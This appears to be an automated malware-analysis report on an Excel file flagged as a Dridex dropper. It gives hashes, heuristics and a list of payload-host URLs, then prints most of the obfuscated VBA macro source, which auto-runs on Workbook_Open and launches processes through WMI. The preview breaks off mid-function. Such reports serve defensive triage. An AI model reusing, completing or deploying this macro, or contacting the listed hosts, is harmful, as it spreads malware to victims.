Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f394e4c6ca08c75f…

MALICIOUS

Office (OLE)

766.5 KB Created: 2021-01-27 14:35:17 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 72ae5b86e4353d3be488f2303f6b8342 SHA-1: c81516d09bcb5f69601c34f8e034f0200e3a47ee SHA-256: f394e4c6ca08c75f45d06d542de4bb2f451b50e50de63462e1eb196c48a6198f
220 Risk Score

Heuristics 9

  • ClamAV: Doc.Dropper.Dridex-9845759-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Dridex-9845759-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set S5KR8rSH1swWYwv = GetObject(RY105lJ69R).SpawnInstance_
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Blee_k7ED = Environ(Zmcn_sRYe_Ka4f_dcy8.Yjd4JNs9zmWgLp)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://sistemaautobuses.com/venta/composer/vendor/doctrine/annotations/GcaSht95.php In document text (OLE body)
    • https://editworld.co.in/wp-includes/js/tinymce/skins/lightgray/vn9HFQW6OTung.phpIn document text (OLE body)
    • https://rhinomoney.in/wp-includes/js/tinymce/plugins/charmap/5BdBghvf.phpIn document text (OLE body)
    • https://mail.rigid-group.com/jp/phpformbuilder/plugins/bootstrap-select/dist/3IuERBhaVZsMf.phpIn document text (OLE body)
    • http://shubhamenterprise.ind.in/scss/bootstrap/mixins/DMjTCracxi9r.phpIn document text (OLE body)
    • http://13.250.58.157/wp-content/themes/bridge/woocommerce/cart/amaEW6sLbuJ.phpIn document text (OLE body)
    • https://taxcorporate.org/website/templates/beez5/html/com_contact/hFBjeHfTRs.phpIn document text (OLE body)
    • http://banananepal.com/wp-content/plugins/js_composer/include/autoload/wd9U0zbVKu.phpIn document text (OLE body)
    • http://kardekormimarlik.com.tr/plugins/revolution/revolution/js/extensions/xMChkWxBJWgX.phpIn document text (OLE body)
    • https://ieponline.org/dev/ieponline/addons/addons/bootstrap/J81OGuD0bOsoD.phpIn document text (OLE body)
    • http://www.w3.org/1999/XSL/TransformIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 64379 bytes
SHA-256: a89d7d012d3320c70be456eb49512fa71ef081be44da64d0a92e029b9e6e4402
Detection
ClamAV: No threats found
Obfuscation or payload: likely
309 of 602 identifiers look randomly generated (e.g. 'NzFt3_zaYp_tEIB_8mdz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
PlD0ObY3TzZ = InStr(mcJd_VbeR_HRiA_Dlx, E1Zpc_6Tl, d0JDDd6hvvkqYqRS)
ucj7nhWB2ZDf = Zmcn_sRYe_Ka4f_dcy8.P9C4aSn
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Zmcn_sRYe_Ka4f_dcy8"
#If VBA7 Then
Private Declare PtrSafe Function FtpAVM0f0hLS2 Lib "user32.dll" Alias "PostMessageA" (ByVal Wd5b_H5J7 As Long, ByVal EqmWkkGBKLJ As Long, ByVal JlSK5_MkOx_1iS_eyb As Long, ByVal Ek1LGYcnyFtA As Long) As Long
Private Declare PtrSafe Function DUqUgAvR8yU1Ncu Lib "user32.dll" Alias "FindWindowExA" (ByVal ONyLsCfflSK As Long, ByVal V15cK_nPr As Long, ByVal ceKy4uefMCKFCb As String, ByVal GiwPTvt0 As String) As Long
#Else
Private Declare Function FtpAVM0f0hLS2 Lib "user32.dll" Alias "PostMessageA" (ByVal Wd5b_H5J7 As Long, ByVal EqmWkkGBKLJ As Long, ByVal JlSK5_MkOx_1iS_eyb As Long, ByVal Ek1LGYcnyFtA As Long) As Long
Private Declare Function DUqUgAvR8yU1Ncu Lib "user32.dll" Alias "FindWindowExA" (ByVal ONyLsCfflSK As Long, ByVal V15cK_nPr As Long, ByVal ceKy4uefMCKFCb As String, ByVal GiwPTvt0 As String) As Long
#End If
Private Const UlYoTmwpN As Long = &H102
Function Yjd4JNs9zmWgLp()
Yjd4JNs9zmWgLp = Chr(CLng((Asc("a")))) + ChrW(CLng((Not -81))) _
 + Chr(CLng((xlStockOHLC And 118))) + Chr(CLng((Not (644 - 745#)))) _
 + ChrW(CLng((Not (xlDialogDataLabel - (113 + 364#))))) _
 + ChrW(CLng((1004 - 888))) _
 + ChrW(CLng((xlDialogAddinManager - (0.255744255744256 * 1001))))
YAwl_Grv_88f_lkF = IsDate(CLng(((769 - (0.631393298059965 * -1134)) Xor 296)))
End Function
Function xeFlxTwBSWylzE(y6uV0_JSP)
dil86vDxlca3OX = KSJ1ec9frTH0bu
OybvpPsec0Bhi = Array(Z3iOE_wsd_eBUD + VrBA_RJZ + wDx7O_Of3)
AbwdyCFtbwl = Len(Join(Array("lKOEKWW8vj43 w3LQH_HmYh" & "LgybIxqGomgc MAfoN_Or1a_29cn_eAUr AVwZyHTPy", "JzAyR55W5MWoBRz Tf3Zn_AY01_hLjl_S698 LE47C_cI25")))
For J1k14_r0MT_1g9 = 0 To CLng((xlCurrencyLeadingZeros Xor (1537 - (187 - -170#))))
OIo4nrU2LeQ = J1k14_r0MT_1g9
Next J1k14_r0MT_1g9
For X2s0i_P2To_ZUO = 0 To CLng((48 Or (-0.323529411764706 * -748)))
gHhZOayT6sGgxv = X2s0i_P2To_ZUO
Next X2s0i_P2To_ZUO
For bGSgtQE = 0 To CLng((Not ((389 - 387.936090225564) * -1330)))
qJraw_jKRu_JeGX = bGSgtQE
Next bGSgtQE
xeFlxTwBSWylzE = Hex(CLng((CLng(((82728 + (0.42483660130719 * -1224)) Or 83369)) - CLng((31563 + 629)) + CLng((1.029814459373 * ((-992 - -993.028695537712) * 30388)))) * Rnd + CLng(((1.00708887639748 * 32022) And 32708))))
XSycqXOPX = Len(Join(Array("Cljdde9g5sb5 n2xoRVT0" + "Vlohw_VIpE", "mM9veZZIgpiQaUFJ", "uP2WZ0QIXWliAW" + "R8PY_Px0_A08 MIq2wXGA", cZhZJ_oAn_FkC, eJD91VWu)))
VoNQld4rHDN = CLng((xlThousandMillions - -839)) > CLng(((-1827 + 699#) + 860))
For JXr0_4Fd_BBtT_MXV = 0 To CLng(((775 + -365#) - (xlPasteValuesAndNumberFormats - 388#)))
AZ06_xRWr = JXr0_4Fd_BBtT_MXV
Next JXr0_4Fd_BBtT_MXV
For RmCQ_xE5 = 0 To CLng((xlDialogMainChart Or (1046 - (3.41263940520446 * xlDialogFormatAuto))))
ZFYA1_ew7W_gn3 = RmCQ_xE5
Next RmCQ_xE5
'FdTU_orr ak19a_ZCYC kCke_gez chA7tyfPKV98uNh ItB0_3Sgb_IBB SGnHTmDe N3gw_oOLo_GezO_FcGh XWOe0_X87_T2O
For ZggXa_AqZ2_kQw_L9B9 = 0 To CLng((Not (-1368 - (-455 + 246#))))
E0GC_aRFO_PMfe_Yi5j = ZggXa_AqZ2_kQw_L9B9
Next ZggXa_AqZ2_kQw_L9B9
eLxV_sxjF_8Ir = InStr(EhauXf41JZf, W487k_0SQX_zxu, vlLIrbSdI1VDSKUqX)
End Function
Function S5KR8rSH1swWYwv(RY105lJ69R)
Set S5KR8rSH1swWYwv = GetObject(RY105lJ69R).SpawnInstance_
BuASR_WYk_JNlQ_jaJg = "WTM3V1vkTiRV"
qdWnQYQ = InStr(iOQBvM9, Gbo6udASCAk, ZlAEq6oAQKjQ)
MCEe9_Snu_SsBX_xkc = "959"
S5KR8rSH1swWYwv.ShowWindow = CLng((-817 + 829))
For jSHrkDfu4bxg49J = 0 To CLng((Not (1.5625 * -144)))
A9Ka_TEy8 = jSHrkDfu4bxg49J
Next jSHrkDfu4bxg49J
NzCDOjw = Array(oCFMe_PD5 + NzFt3_zaYp_tEIB_8mdz - gBTy1gm4qX35, "zMeOU_MDF_8Yp1_TWX FzCsmGDS")
For PEg6lqEI = 0 To CLng((Not -296))
ahWIz_v6Oh = PEg6lqEI
Next PEg6lqEI
End Function
Function JYGujfn80N0psus(S19L_EPn_wtj8_ztj5)
JYGujfn80N0psus = ChrW(CLng(((0.368 * 250) Or xlRangeAutoFormatReport4)))
MRWCA0mbNxC7TtbM = "CoBP_HRp_zfC_s9u"
End Function
Function E2wtp4BfM0A(cYkO7_KqnP_3jB9, hjbhu_mXUj_FH0)
'fiHZe15A WOLzEydhsDKb VFEJ_OaVg_0azN vyM3_mow9 PbOZfd1gz0AD xAWpDXsZQk2pX H7A54jWo2zgO NOA3X_oCM Xq1yM_AeW_JCF_4pNN
RKHYS_9yFk_h1F_2Gz = Q3U3t_vxof
ROVs_7dbw_HPh5_4bi = Abs(CLng(((2009 + -847#) Or 2057)))
bC5gT_kc2_m9Y4 = InStr(mzgmdCO, MlQBnBwe2ZmwWsA, mifeCJXZdTwbouv6)
For dgA3_r0JR_AAaQ_iR8y = CLng((-398 - -399)) To CLng((136043 - -115))
'HxiOw_LyjL_S40_0yOM CZCMKmvB0JWH3kd3 C8iPH_tU1_4Ikz O5953RGSJ7b KLAg7_i0F3_Hkp_hfJ0 ZNSCa_04u_u7u_6Ha TgH1z_SF1_5qZh
MCa1UpQxo39F = Join(Array("AULG_w6J" + "XkEYMMbN2XW NwFnMlmCNw4R WacJy_8WBW_qDp", pckxe1wZph, "A8Hjw7uRmEd5ESd" & "J0Ul53B3 L0oUT_Wvax" + "otEk_VHDl snZOqDDoA1r5f HXrc_4F9R", mLDZh4JLR & "nN68_0CW_BBG_gQ6l", "OAKM_QXx_zu8" & "fVgA4_gKE4" & hCJwOnGUv))
wvCd_AAOx = F00UvMcDHrJIGz
'Vvg1_07F_sUd_t5mj OrOl_HKdH VGAT_b85w Zzm4oT9R e88dy4Ts3mkpOA2
CN5X0VP4F3 = MLTrVEn
E3N95JpOKNp6X = DUqUgAvR8yU1Ncu(CLng(((0.376190476190476 * xlDialogScrollbarProperties) - 158)), CLng((xlFormatFromLeftOrAbove And xlLinkStatusOK)), cYkO7_KqnP_3jB9, vbNullString)
S6xv_zOp_elu = Abs(CLng(((0.766404199475066 * xlDialogFontProperties) Xor xlIMEModeNoControl)))
Ozph_bz9j_ynkj = Abs(CLng(((0.894982497082847 * 857) And 988)))
Next dgA3_r0JR_AAaQ_iR8y
For EhwCyzhnZhD = CLng(((5.64588979223126E-05 * xl3DColumnClustered) * xlDialogVbaInsertFile)) To Len(hjbhu_mXUj_FH0)
naSv_o3o_T8d = Abs(CLng(((0.667885117493473 * 1915) And (1669 + -472#))))
For QpgQ_RWZ_PBw = 0 To CLng((1010 - 209))
PZ0z63LMFOzo1 = QpgQ_RWZ_PBw
Next QpgQ_RWZ_PBw
Lxf1ioBqKleay = Array("EiizY_hf2d_uLUL_8UPv" & "Urj0_Xyp_IVX KoRKTNN1y3iLTc" & J0IGoxdo, FkmuMMwlK005LKGf & "tO0qi0Qn" & "UlubKGjC ZNbo0ABrNjlJ", IuwHAvygxTqIUA & G2ckHoC, PJKyY8c1LT4P, "jILSTOq1QlHKkXR B1Bav_Osq_ue0 DCxc_BAO8" & "TOdcCLGnhe7p CbXnDSTT6Ec6sW Ig0YY_OC7T_IXhd_25K", "OFetzGuw2mZLRD f4DMhNt5VVfnOw" & ETS7E_Qt6Q_KqIU & "Ixh0a_vAfz JAff_6Wto_2ylf_ONY")
FtpAVM0f0hLS2 E3N95JpOKNp6X, UlYoTmwpN, Asc(Left$(Mid$(hjbhu_mXUj_FH0, EhwCyzhnZhD), CLng((-8.7719298245614E-03 * -114)))), CLng((823 - 823))
Debug.Print zdHI8_x2eX_Ev5_rH6
Next EhwCyzhnZhD
For BsP4RFDswWxh42 = 0 To CLng(((xlDialogOptionsME + 94#) Xor 427))
buh5LdduA2c = BsP4RFDswWxh42
Next BsP4RFDswWxh42
ZOFgmCCiAX8aqN = IsDate(CLng((1631 + -341)))
OsCcvHR7gC90 = Len(Join(Array("JefTO_mUr_lQXQ_aDO" + "FkBOlN335Nlrb1l ExCMWhNpak" & "AE7S7ebMsdXB06", "OT3Pn_XSv_3UFT_iiFt t3JlU1MCr SXcgLFgSE4nSue3" + "cNAh1smPbec QubtU_gSF_wCT" & XfgMt_KNXa_QbZ_cS2)))
U8q5_0Ih_VQl_W7tA = Abs(CLng((-432 - ((748 + -749.911971830986) * xlDialogWorkbookOptions))))
FtpAVM0f0hLS2 E3N95JpOKNp6X, UlYoTmwpN, CLng((xlNoChanges Xor xlSpinner)), CLng((-0# * (0.544832306639288 * (1.04881550610194 * -1393))))
S77G_tP0_o0G = Len(Join(Array("VV2EAMx" & "NLnMn6iEsn0Q0128a YGPA_gRPl_SbdH_6jt" & lON8eFrZdQ0xwOa, gAnv_xX2 & "Tgb0S_Y4H3", OOR6_8CU8_ztG & "IGM0f_0pk_IIy1", A0na_9jkX, V4tg_4K62_Pow_cSY2 * SyFSqp8t)))
End Function
Function P9C4aSn()


Dim Rqzd6SUeqU As String
Rqzd6SUeqU = LOHJV_zU3F_QaG.T8p9j_1r4.Text
'ThJmbvuUdrrE EhJ8y_qhz2 MZ9RtTUscR537Dxd8 XXgd7nDkwV0 thySKVkceJ Kk6ZpWq9hW0
JfiH_a5k_K9q = DKnw_dA0K_aUj & LOHJV_zU3F_QaG.Blee_k7ED & CJMNh_XUj_E2z & Zmcn_sRYe_Ka4f_dcy8.JYGujfn80N0psus(UyBi_un9_m9G2) & Q3HVnQIsc & OYw9j_Is0Z_3rI_vhXl & Tzl0_aOi8_lQhZ & As62_f2Ka_AWE_L8D & Zmcn_sRYe_Ka4f_dcy8.xeFlxTwBSWylzE(Q3yR_lobZ) & wjWkjZe & sEWk8sAN5EXc & VdvJ_SdA.B71Uq_X6Hh_3Rt2_bZ3(FodUGrag)
Open JfiH_a5k_K9q For Binary As #CLng((-1.77619893428064E-03 * (-121 + -442#)))
Debug.Print SkMfcL5rfWI45Tz
XkPEU_QUpH = I2z5h_niW_mfN0.raq8_5aM_2bV(VdvJ_SdA.NHaj9jcY(ytcL_XbA_l4iJ_eKh), LOHJV_zU3F_QaG.V0ivu_SAQ, S5KR8rSH1swWYwv(LOHJV_zU3F_QaG.HDhO_wIf_EDK_hq2z))
Cc4MIJbt = Len(Join(Array(JTPbHlHS30OBHqpz ^ Cmdl_kx1b_DTx_462, Lrbq6MWrQZM, IGRYHXFU7 * UYssI_7nd * DqztHKSC)))
mWCkw_m2E_zt2t_QSK = VdvJ_SdA.OyP02_xJq(Dc2ryt0c6VFLMP0) + DCU7w8UVw5U04vqv + Wdbl_lFx_7MM_ls5 + JfiH_a5k_K9q + MrpU_oeX_USf.E075oBCs3As0Pw(DPCGlJmA) + Rmy68LES
For SHJ2K_HqPJ = 0 To CLng((xlDialogView3d Or 1092))
LuKL_pOL = SHJ2K_HqPJ
Next SHJ2K_HqPJ
Put #CLng(((2.68248175182482 * -274) - -736)), , Rqzd6SUeqU
OMcg2_YV8_AH2q = Join(Array("WabcIJr3" + "NAddL82Q5Iy VGpSWdzs4RW9uiA gTz8zlGFAwUF" + "YjinqJuBUcQOpOa", "RGhH1_SOEW_HKKc" & AFaNkulGYhLXsW0C, QpYL_fqm, KXS2_yqd, tvcn_0PjL_uXd_u2JN))
Close #CLng((xlStandardSummary And xlEvaluateToError))
pJG8_Enb = "MJ0M_AhnA_50ZV_d14"
JWHJfZFmIermQ = E2wtp4BfM0A(LOHJV_zU3F_QaG.FWl0OyW9nt, mWCkw_m2E_zt2t_QSK)
End Function

Attribute VB_Name = "LOHJV_zU3F_QaG"
Attribute VB_Base = "0{F993F8C6-1356-4BC5-9154-1A865B4CD62C}{7E7220D8-00A4-419B-A338-7B0A62BF5831}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FWl0OyW9nt()
FWl0OyW9nt = ChrW(CLng((0.253787878787879 * (1045 - 781#)))) & ChrW(CLng((xlPieOfPie Or xlButton))) _
 & Chr(CLng(((xlLineMarkersStacked + (-2.29885057471264E-02 * -522)) Or xlSummaryAbove))) & Chr(CLng(((xlLineStacked100 + -907#) - (xlExcel5 - 965#)))) & Chr(CLng(((-1.21850280036094E-04 * -881) * 1034))) _
 & ChrW(CLng((Asc("l")))) & Chr(CLng(((xlDialogCustomizeToolbar - 920#) + 713))) & ChrW(CLng((Not ((0.457461645746165 * -717) - -240#)))) & ChrW(CLng((Asc("I")))) & ChrW(CLng(((-605 + 709#) Xor xlFrontEnd))) _
 & ChrW(CLng((7.46432491767289E-02 * 911))) _
 & ChrW(CLng((xl3DAreaStacked100 Or xlEPS))) & Chr(CLng((-0.597989949748744 * (xlRangeAutoFormatReport6 - 225#)))) & ChrW(CLng(((1432 + -440#) + (-1354 - -429#)))) & Chr(CLng((0.947368421052632 * 114))) & Chr(CLng((-819 - (0.885024154589372 * (-968 - 67#))))) & Chr(CLng((xlSemiautomatic Or (-0.402912621359223 * -206)))) & ChrW(CLng((0.109108159392789 * 1054))) _
 
End Function
Function HDhO_wIf_EDK_hq2z()
HDhO_wIf_EDK_hq2z = Join(Array(Chr(CLng((Asc("w")))) _
 & Chr(CLng((xlRangeAutoFormatTable2 Or xlDialogGalleryScatter))) _
 & ChrW(CLng((((146 - -8#) + -44#) And xlDialogRowHeight))) & ChrW(CLng((Not -110))) & Chr(CLng((xlAxis Xor 114))) _
 & Chr(CLng((AscW("m")))) & ChrW(CLng((116 Or xlOverwriteCells))) _
 & Chr(CLng((xlDialogPivotTableWizard + -197))) _
 & ChrW(CLng((((-788 + 139#) + 707#) And xlBarStacked))) & Chr(CLng((-1.22666666666667 * -75))) & Chr(CLng((Not (-0.345345345345345 * (399 + -66#))))) & ChrW(CLng((-744 - (0.990730011587486 * (-1008 + 145#))))) & ChrW(CLng((xlPyramidBarStacked100 And xlDialogRowHeight))) _
 & ChrW(CLng((169 - xlColumnStacked100))) & Chr(CLng((Not (xlDialogWorkgroup + -292#)))) _
 & ChrW(CLng((Not (681 + -781#)))) & ChrW(CLng(((xlDialogScenarioCells - (xlDialogGalleryBar - -126#)) Xor xlDiagonalUp))) & Chr(CLng(((-894 + 978#) Xor (-8.28488372093023E-02 * -688)))) & Chr(CLng((-81 - -199))) & ChrW(CLng((247 + (756 + -953#)))) & ChrW(CLng((Not ((1398 - 508#) + -949#)))) & Chr(CLng((((-445 - -444.625368731563) * -339) And xlBubble3DEffect))) & Chr(CLng((Not -106))) & Chr(CLng(((-578 - 13#) - -701))) & ChrW(CLng((xlDialogEditDelete Xor xlDXF))) _
 & Chr(CLng((xlAddIn Xor (608 - 576#)))) & ChrW(CLng((xlDialogRowHeight And xlDialogWorkspace))) & Chr(CLng((xlButtonControl Or ((375 + 93#) + -388#)))) & Chr(CLng((((-928 - -864#) - -112#) Xor xlLineMarkersStacked))) & ChrW(CLng((AscW("o")))) & Chr(CLng((-676 + ((626 - 513#) + 662#)))) & ChrW(CLng((0.193486590038314 * (-178 + (0.479452054794521 * 1460))))) & ChrW(CLng((0.113412228796844 * 1014))) & Chr(CLng((xlDialogMenuEditor - (xlDialogWorkbookProtect - (613 + -403#))))) _
 & Chr(CLng(((-1180 + 548#) + (1268 - 553#)))) & ChrW(CLng((744 - 628))) & ChrW(CLng((xlMYDFormat Xor (0.117312072892938 * 878)))) & ChrW(CLng((Asc("r")))) & Chr(CLng(((0.196035242290749 * 454) Xor (833 + -788#)))) _
 & ChrW(CLng((117 And (0.186217008797654 * 682)))) _
 & Chr(CLng((Asc("p"))))))
End Function
Function Blee_k7ED()
QdGN_QAx = XpujF_FxvR_tez_GRDW
BrVRmFH6ZzwVAf5 = Array("cGyM_Lpl_lfOD p6C6j_XE2", C40qoFog6ccw, YSHbVdh - Xo1paRSk & DPvnm_n5G_H50, Q5IRh_YALM_Xm6b, "tpRL_o28Q_c2yP_YpA x5FGU_169G DqVBMPIn4" & whalL_ABUH & "LwEQ_HuL8_oKI_2XzV", "bjnK_HNF_Q5R_T0I")
Blee_k7ED = Environ(Zmcn_sRYe_Ka4f_dcy8.Yjd4JNs9zmWgLp)
'FdsQ0PCdckxd42 f48gl_5vG qKkvm5N5xkAYkvH L3RIe_NqDa_7MT CLOrMiy
For v0OY_DD7f_8GP = 0 To CLng((((910 - -101#) - -3#) And 634))
Y91s_AnP7_VBXr = v0OY_DD7f_8GP
Next v0OY_DD7f_8GP
VEzfKU0ym = CLng((810 Xor (0.764920273348519 * 2195))) < CLng((xlParamTypeWChar + 286))
f9t02_XEu8_0jQ_SSIV = Len(Join(Array("O0Twj_CnNR_ggp3_inE" & "Fg15KN0NhupChK FDUi1_DU8_02VC_4wcp" + "ITQuzXaUpYer4Dtr uSyo_XHl_SfSZ MFdSX_OTYJ_ijF3", "Kx7wHdnCBLjg voK5e_Pfw PL91_8Xx" & "YuS08E74BK4aTX" & rG09i_sM09, JK47_j1J7)))
'V4p3t_XDPu_HUxk_HPZy UDa7CeWLhLNi aQm2P6h FIn8VnOiq7gHqt0 EQHJ_1Sh_0qf HzD6_7IQ OVB3zNOKzky1kO
End Function
Function V0ivu_SAQ()
V0ivu_SAQ = Join(Array(ChrW(CLng((((591 + -590.735555555556) * xlDialogFunctionWizard) And xlDialogNew))) _
 & Chr(CLng((Asc("m")))) _
 & ChrW(CLng(((xlDialogPivotFieldProperties - 202#) And 121))) _
 & ChrW(CLng((-522 + (335 + 286#)))) _
 ))
End Function


Attribute VB_Name = "VdvJ_SdA"
Attribute VB_Base = "0{B31435A6-9095-437D-9E8C-13E38F029C5C}{B70C51B7-0A3E-451A-80B0-6CDE79266C29}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function NHaj9jcY(QywbyoOl1)
NHaj9jcY = Join(Array(Chr(CLng((AscW("w")))) + Chr(CLng((xlCSVMSDOS Xor (xlDialogMailEditMailer + -357#)))) _
 + ChrW(CLng((xlPyramidBarStacked And xlPyramidBarStacked))) _
 + ChrW(CLng((-67 + 176))) + ChrW(CLng(((-6.83585972550373E-04 * (xlTimeLeadingZero - -233#)) * -542))) _
 + Chr(CLng((((-12.0266666666667 * -75) - 793#) And xlPyramidBarClustered))) _
 + ChrW(CLng((Asc("t")))) + Chr(CLng((xlConeColClustered Or 114))) _
 + ChrW(CLng(((-2.85880462534873E-04 * 361) * -562))) + ChrW(CLng((((-394 + -494#) + 930#) Xor xlStockHLC))) _
 + Chr(CLng((-0.301630434782609 * -368))) + ChrW(CLng((Not -112))) + Chr(CLng((AscW("t")))) + ChrW(CLng((((-8.67924528301887E-04 * -530) * -200) * xlCommentIndicatorOnly))) + Chr(CLng(((118 - (617 + -639#)) + -41))) + Chr(CLng((-696 - (-1230 + 429#)))) + Chr(CLng((AscW("m")))) + Chr(CLng((xlCylinderCol Or xlDialogPatterns))) _
 + Chr(CLng(((494 - 493.903846153846) * 520))) + Chr(CLng((AscW(":")))) _
 + Chr(CLng((Asc("W")))) + Chr(CLng((Asc("i")))) _
 + Chr(CLng((AscW("n")))) + ChrW(CLng((AscW(xlStackScale)))) + ChrW(CLng((xlWQ1 Or ((-381 - -318#) - -81#)))) + Chr(CLng((AscW("_")))) _
 + Chr(CLng((AscW("P")))) + ChrW(CLng(((1140 + -613#) + (xlDialogObjectProperties + -620#)))) + ChrW(CLng((xlDialogColumnWidth Or xlDialogGalleryBar))) + Chr(CLng((-221 + xlDialogOptionsView))) + Chr(CLng(((489 + -488.589430894309) * (906 + -660#)))) + Chr(CLng((Not -116))) + ChrW(CLng((xlLineMarkersStacked Or 115)))))
m0EGJNR7O7 = CLng(((8.29881570503471E-03 * 562) * -244)) > CLng((1796 + -532))
'UaVSr2qg4U uvLv0_ZkS_7HS HWmuHAm1u FxyYB7j7Vqd JNKW4pdPLAipjx
End Function
Function B71Uq_X6Hh_3Rt2_bZ3(Jsv0_53xm_aAs_rg41)
B71Uq_X6Hh_3Rt2_bZ3 = ChrW(CLng((Asc(".")))) _
 & Chr(CLng((Asc("X")))) _
 & Chr(CLng(((-5.1875 * -80) + -332))) _
 & ChrW(CLng((Not (-0.159590043923865 * xlDialogWebOptionsGeneral)))) _
 
End Function
Function OyP02_xJq(FhNeyl9d)
OyP02_xJq = Chr(CLng((xlXYScatterLinesNoMarkers Or (580 - 567#)))) _
 + ChrW(CLng((xlSurface Or (-915 - -981#)))) + Chr(CLng((783 - 751))) _
 + ChrW(CLng((-225 + xlDialogVbaInsertFile))) _
 + ChrW(CLng((xlConeColStacked100 And xlPyramidBarClustered))) + Chr(CLng((Asc("t")))) + Chr(CLng((xlDialogFormulaGoto Xor xlRangeAutoFormatClassicPivotTable))) _
 + Chr(CLng((Asc("/")))) + Chr(CLng(((1.30857142857143 * xlDialogChartTrend) + -388))) + ChrW(CLng(((6.46319569120287E-02 * xlDialogSeriesOptions) Xor xlXYScatterLinesNoMarkers))) + ChrW(CLng((AscW("R")))) + ChrW(CLng((Asc("m")))) + Chr(CLng((Asc("a")))) _
 + Chr(CLng((AscW("T")))) _
 + Chr(CLng((xlDialogPasteNames Or xlCrissCross))) _
 + ChrW(CLng((((-875 + 140#) - -780#) Xor xlTable6))) _
 
End Function


Attribute VB_Name = "MrpU_oeX_USf"
Attribute VB_Base = "0{0AB28F8A-2991-4160-BDD7-E3721DB09791}{DC81223E-00B1-418E-AC50-64FBA9C76B18}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function E075oBCs3As0Pw(A33lfVzE)
E075oBCs3As0Pw = Chr(CLng((-4.61329715061058E-02 * -737))) _
 
End Function


Attribute VB_Name = "I2z5h_niW_mfN0"
Function raq8_5aM_2bV(fpmV_Yzm, hIxUh5Lfb1gh5CB, O90VvfG8XnObzvLtE)
WTJQrh86NbZnFXk0 = F3Dp9yvK
CRsYLdTnxyWuKHN = IsDate(CLng((xlXYScatterSmoothNoMarkers Xor (0.408410548823949 * (0.627459749552773 * 2236)))))
IyhZH4vIJIB0WLV = InStr(cm3u43ZmFM9D8, KgeLCQKEmwwd, YCNq_oj10)
TaQUW_UHB0 = IsDate(CLng((Not 555)))
O7XI7URc786Y = "313"
voiyt_5P0S_qZCq = Join(Array(GZSTC_Iq4F & "MQvTmgZJxC60Vu6C PFm3_vSTG_PtsD_0CVQ CIBrm3bFfS"))
KEVCQjwKhI5xJVxd = Len(Join(Array("BavYgWFnbEJTY1o" & TtkJCMNz & "SENHJ8xUIY PBEP_bqft_BKaN", "W0LH_Svz E3airIM9vRT" + "BqOPxMNmY8" & My0W_dEE, KNAB0aWJ & "XVwH_fJgi_ebr_V6Ie RtLMaQaJqE5 nuhXz_UzH", "RpAS_V0Mc ermz8jS nmR9_CbOd_NWG")))
Xw04u_pWzO_Rkx_s531 = Join(Array("RDu4uaV40h Vgg0buyc FTEQyJP7", Lnvb_uYI_I02S_PoZ + CwNcLFHr7W - Ws460_BwKw_rH2E_FLJ, EYzb_Iy8_hw8_ZFx & "pYe1E_mb2_bovT_Xgl U4QZTOmCwAxlSGug" & UtsAjmeLi, "OqXhB_lTd_a0me"))
Debug.Print bkawxNjDHDrlS01
Pf22_ayK_myM = Join(Array("SES5_IyO8_P4Ru_zi6K CPIL0eVh1VEKYa" & "KBBgH_NEk_CKeM wLcfj7GtOcOaONka", "HHng9FPxu4b ahfBNo5X8VvSWJS2 BYXyL1Ys" & FH0J4_mpW_IYNW_0R0W))
With GetObject(fpmV_Yzm)
